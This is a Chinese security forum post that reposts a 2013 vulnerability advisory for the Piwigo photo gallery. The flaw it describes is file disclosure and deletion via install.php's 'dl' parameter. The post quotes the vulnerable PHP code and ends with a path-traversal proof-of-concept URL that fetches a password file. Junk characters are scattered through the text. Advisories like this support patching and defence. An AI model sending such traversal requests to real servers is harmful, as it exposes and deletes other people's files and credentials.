找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2262|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。2 v. b1 Z( F! ]

1 ~/ n- y, `: k5 Y: g- `Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
7 G; i8 L2 L. z4 g# U' P====================================================================
/ |, y' b8 `$ l/ P& {. X5 S+ h/install.php:0 p) \# R' z' P, o: h9 [* d  z7 M3 q
-------------' P! c* l  u+ ]3 [
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])); {8 u) ~% w; l0 a$ I! c
114: {  M# {/ n: h8 V! d
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# P* `, K+ h2 }% W* B116:   header('Cache-Control: no-cache, must-revalidate');
+ h% A3 Q) p3 I+ R' `117:   header('Pragma: no-cache');
. j  u9 C- ?. f9 r% w118:   header('Content-Disposition: attachment; filename="database.inc.php"');
& L9 s* w6 J6 a5 Z; j' T9 ~* {119:   header('Content-Transfer-Encoding: binary');
% ]- }& L5 R3 f$ ^120:   header('Content-Length: '.filesize($filename));
  f+ z; L  n& Q121:   echo file_get_contents($filename);
; d! ]0 ~2 ^' H8 F( T8 T, m122:   unlink($filename);: l+ [5 i7 ~4 W7 Q& _1 U
123:   exit();2 x* P9 `9 V/ R& n) R1 b9 N
124: }0 L- b5 u( @4 n- S. w- H
====================================================================
2 R6 [% w- y3 R; _# B, M ! H3 t* K4 o& o
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
/ F6 l" v  P5 c( a% f; ^' v: o0 l& J           Apache 2.4.2 (Win32)  e) J4 h2 L+ R9 A6 U6 t
           PHP 5.4.4
4 w, [4 K/ s: P, k$ I           MySQL 5.5.25a
0 \& p! c$ g8 r# Z+ T2 `. ` % E, V+ F( Y9 }" M  h
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
& c7 R2 g2 F. G, A. D                            @zeroscience
5 @) [6 O$ ]- S5 z5 O% w  D  U- T" `
: x4 E5 i* z5 B$ r* o1 p5 @( cAdvisory ID: ZSL-2013-5127. F9 ^7 g; B$ ?! j$ e( S0 R
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php1 Z  Z: }- B; ]' s
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
; q& L) n  ?8 C3 h' [8 Z0 J 9 k8 j! Z4 V% P
15.02.2013
# G' D4 _7 ~) v# J" l% l 5 w/ y* p# t1 r8 D# k, U
--
9 ^4 O4 s& `- Y8 G* r% f, N$ }7 E$ fhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% e8 B; I0 g+ @" x, I* j
7 f& V  b( ~/ h4 D+ g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表